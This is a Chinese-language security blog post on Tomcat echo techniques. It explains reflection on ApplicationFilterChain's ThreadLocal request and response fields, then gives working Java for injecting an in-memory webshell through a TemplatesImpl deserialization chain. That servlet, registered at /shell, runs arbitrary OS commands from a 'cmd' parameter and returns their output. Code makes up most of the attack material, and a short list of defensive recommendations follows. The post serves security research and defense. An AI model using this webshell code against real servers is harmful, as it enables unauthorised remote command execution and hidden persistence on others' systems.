Tomcat回显学习第一弹
字数 943 2025-08-26 22:11:51

Tomcat回显技术研究与实践

前言

本文详细分析Tomcat中一种半通用回显方法,基于kingkk师傅的研究成果,重点探讨如何利用Tomcat内部机制实现请求回显,并通过反序列化漏洞注入内存马的技术细节。

技术原理

核心机制

在Tomcat的请求处理流程中,org.apache.catalina.core.ApplicationFilterChain类包含两个关键变量:

lastServicedRequest  // ThreadLocal类型,存储请求对象
lastServicedResponse // ThreadLocal类型,存储响应对象

这些变量在多线程环境下为每个线程维护独立的请求/响应副本,确保线程安全。

关键触发点

请求处理过程中,ApplicationFilterChain#internalDoFilter方法逻辑如下:

if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
    lastServicedRequest.set(request);
    lastServicedResponse.set(response);
}

默认情况下WRAP_SAME_OBJECT为false,需要通过反射修改才能启用请求/响应保存功能。

实现步骤

1. 反射修改关键属性

// 获取并修改关键字段
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher")
    .getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class
    .getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class
    .getDeclaredField("lastServicedResponse");

// 移除final修饰符
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, 
    WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
// ... 对其他字段进行相同操作

// 启用WRAP_SAME_OBJECT并初始化ThreadLocal
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
    lastServicedRequestField.set(null, new ThreadLocal<>());
    lastServicedResponseField.set(null, new ThreadLocal<>());
    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}

2. 内存马注入实现

初始方案问题

使用TemplatesImpl链进行反序列化时,自定义Servlet类无法被加载,因为:

  1. TemplatesImpl$TransletClassLoader.loadClass要求类必须实现AbstractTranslet
  2. 普通Servlet类不符合这一要求

改进方案

创建同时继承AbstractTranslet和实现Servlet接口的类:

public class TomcatMemshell extends AbstractTranslet implements Servlet {
    // 必须实现的AbstractTranslet方法
    @Override public void transform(DOM document, SerializationHandler[] handlers) {}
    @Override public void transform(DOM document, DTMAxisIterator iterator, 
                                  SerializationHandler handler) {}
    
    // Servlet接口实现
    @Override public void service(ServletRequest req, ServletResponse res) {
        // 命令执行逻辑
        String cmd = req.getParameter("cmd");
        boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} 
                              : new String[]{"cmd.exe", "/c", cmd};
        
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        
        PrintWriter out = res.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }
    // ... 其他Servlet方法实现
}

3. 完整注入流程

  1. 第一次请求:修改WRAP_SAME_OBJECT并初始化ThreadLocal变量
  2. 第二次请求:执行内存马注入逻辑
else {
    // 获取当前请求/响应
    ThreadLocal<ServletRequest> threadLocalReq = 
        (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
    ThreadLocal<ServletResponse> threadLocalResp = 
        (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
    ServletRequest servletRequest = threadLocalReq.get();
    
    // 获取ServletContext并查找StandardContext
    ServletContext servletContext = servletRequest.getServletContext();
    StandardContext o = null;
    while (o == null) {
        Field f = servletContext.getClass().getDeclaredField("context");
        f.setAccessible(true);
        Object object = f.get(servletContext);
        if (object instanceof StandardContext) {
            o = (StandardContext) object;
        } else if (object instanceof ServletContext) {
            servletContext = (ServletContext) object;
        }
    }
    
    // 创建并注册Wrapper
    Wrapper newWrapper = o.createWrapper();
    newWrapper.setName("memshell");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(new TomcatMemshell());
    
    o.addChild(newWrapper);
    o.addServletMappingDecoded("/shell", "memshell");
}

实践注意事项

  1. 两次请求要求:必须发送两次序列化数据,第一次修改配置,第二次执行注入
  2. 类加载限制:内存马类必须同时满足反序列化链和Servlet的要求
  3. 线程安全:确保在并发环境下正确获取当前线程的请求/响应对象
  4. 环境适配:根据目标系统类型(Linux/Windows)调整命令执行方式

防御建议

  1. 监控关键类的反射操作,特别是WRAP_SAME_OBJECT和ThreadLocal字段的修改
  2. 限制反序列化操作,使用白名单控制可反序列化的类
  3. 定期检查Servlet映射,发现可疑的动态注册Servlet
  4. 更新Tomcat版本,关注官方安全公告

参考资源

  1. ThreadLocal原理与应用
  2. kingkk师傅的原始研究
Tomcat回显技术研究与实践 前言 本文详细分析Tomcat中一种半通用回显方法,基于kingkk师傅的研究成果,重点探讨如何利用Tomcat内部机制实现请求回显,并通过反序列化漏洞注入内存马的技术细节。 技术原理 核心机制 在Tomcat的请求处理流程中, org.apache.catalina.core.ApplicationFilterChain 类包含两个关键变量: 这些变量在多线程环境下为每个线程维护独立的请求/响应副本,确保线程安全。 关键触发点 请求处理过程中, ApplicationFilterChain#internalDoFilter 方法逻辑如下: 默认情况下 WRAP_SAME_OBJECT 为false,需要通过反射修改才能启用请求/响应保存功能。 实现步骤 1. 反射修改关键属性 2. 内存马注入实现 初始方案问题 使用 TemplatesImpl 链进行反序列化时,自定义Servlet类无法被加载,因为: TemplatesImpl$TransletClassLoader.loadClass 要求类必须实现 AbstractTranslet 普通Servlet类不符合这一要求 改进方案 创建同时继承 AbstractTranslet 和实现 Servlet 接口的类: 3. 完整注入流程 第一次请求 :修改 WRAP_SAME_OBJECT 并初始化ThreadLocal变量 第二次请求 :执行内存马注入逻辑 实践注意事项 两次请求要求 :必须发送两次序列化数据,第一次修改配置,第二次执行注入 类加载限制 :内存马类必须同时满足反序列化链和Servlet的要求 线程安全 :确保在并发环境下正确获取当前线程的请求/响应对象 环境适配 :根据目标系统类型(Linux/Windows)调整命令执行方式 防御建议 监控关键类的反射操作,特别是 WRAP_SAME_OBJECT 和ThreadLocal字段的修改 限制反序列化操作,使用白名单控制可反序列化的类 定期检查Servlet映射,发现可疑的动态注册Servlet 更新Tomcat版本,关注官方安全公告 参考资源 ThreadLocal原理与应用 kingkk师傅的原始研究